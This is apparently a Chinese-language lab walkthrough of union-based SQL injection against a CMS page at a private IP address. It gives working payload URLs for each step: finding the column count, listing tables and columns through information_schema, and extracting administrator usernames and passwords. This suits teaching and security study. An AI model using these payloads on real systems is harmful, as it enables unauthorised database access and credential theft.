通过CMS新闻页面,获取后台管理员的账号密码
order by number
:通过第几列进行排序
目录
5、利用information_schema库,查数据库的表名
6、利用information_schema库,查指定数据库指定表的列名
7、利用information_schema库,查指定数据库指定表的列的数据
1、测试有无注入点
通过给参数输入一个错误的信息,发现这个是一个报错的,并且报错信息中,不包含我们输入的参数的数字,所以可以知道这个是一个数字行注入,不需要闭合符号
有注入点
2、进行拼串,确定查询数据的列数
发现注入点后,使用and进行拼串,发现可以成功
结合所学知识,可以判断出,这个函数的列数,使用的语句是order by number
http://192.168.79.147/cms/show.php?id=33 order by 100
因为后面要使用UNION函数,进行两个查询语句的纵向拼接
UNION函数的条件是:列数相等,对应列的类型大致一样
根据上面的方法(二分查找法,测试出来),可以知道,这个查询出来的列数的15列
查询到16列,报错了
3、使用UNION函数,进行联合查询
当我们使用UNION函数进行联合查询的时候
由于前面的SQL语句我们可控的参数较少,一般不会让其进行输入,可以通过将其的ID参数进行一个错误的参数,就不会显示了
我们只是需要使用后面的语句就可以了
语句如下:http://192.168.79.147/cms/show.php?id=-33 UNION select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
通过下面的图片可以发现,这个回显的数据是3和11,可以知道,回显的是列数的查询的值
4、通过回显的列,进行利用
http://192.168.79.147/cms/show.php?id=-33 UNION select 1,2,database(),4,5,6,7,8,9,10,version(),12,13,14,15
查看到当前服务器使用数据库的版本和数据库名称
5、利用information_schema库,查数据库的表名
根据 4 的信息,已经知道使用的数据库的版本是5.5.53
由于5.0以上版本有一个information_schema数据库,里面装载了数据库的基本信息
以及所有数据库的库名
所有数据库的表名
所有数据库的表的字段名
我们可以通过这个数据库,对整个表的信息进行查询
数据库收集的步骤为库名 - 表名 - 字段名 - 数据信息
-
已知数据库的名字是cms
-
查询数据库cms的表名
http://192.168.79.147/cms/show.php
?id=-33 UNION select 1,2,database(),4,5,6,7,8,9,10,hex(table_name),12,13,14,15 from information_schema.tables
未做数据库过滤查询出来的表名
做数据库过滤查询出来的表名
http://192.168.79.147/cms/show.php
?id=-33 UNION select 1,2,database(),4,5,6,7,8,9,10,hex(table_name),12,13,14,15 from information_schema.tables where table_schema = "cms"
-
查询出cms数据库中,所有表名
使用函数
group_concat(table_name)
将指定列的所有数据,通过逗号进行拼接
http://192.168.79.147/cms/show.php
?id=-33 UNION select 1,2,database(),4,5,6,7,8,9,10,hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema = "cms"
6、利用information_schema库,查指定数据库指定表的列名
使用group_concat(指定的列名)
:查询出指定列的所有数据,使用逗号隔开
select 1,2,3,4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where table_schema="cms" and table_name="cms_users"
#从information_schema数据库的columns表中
#当这个表中的table_schema字段等于cms,table_name字段等于cms_users时候
#查询15列,查询出column_name列的所有数据,显示到11列
查询到字段是三个
获取到了cms_users表中的字段
7、利用information_schema库,查指定数据库指定表的列的数据
使用函数concat
:将查询到的同一个表的两个字段,拼接在一起
http://192.168.79.147/cms/show.php
?id=-33 UNION select 1,2,3,4,5,6,7,8,9,10,hex(concat(username,0x3a,password)),12,13,14,15 from cms_users limit 1,2
#这里的limit 1,2是指:查询一个数据,从第二个开始,第一是0
拿到指定的数据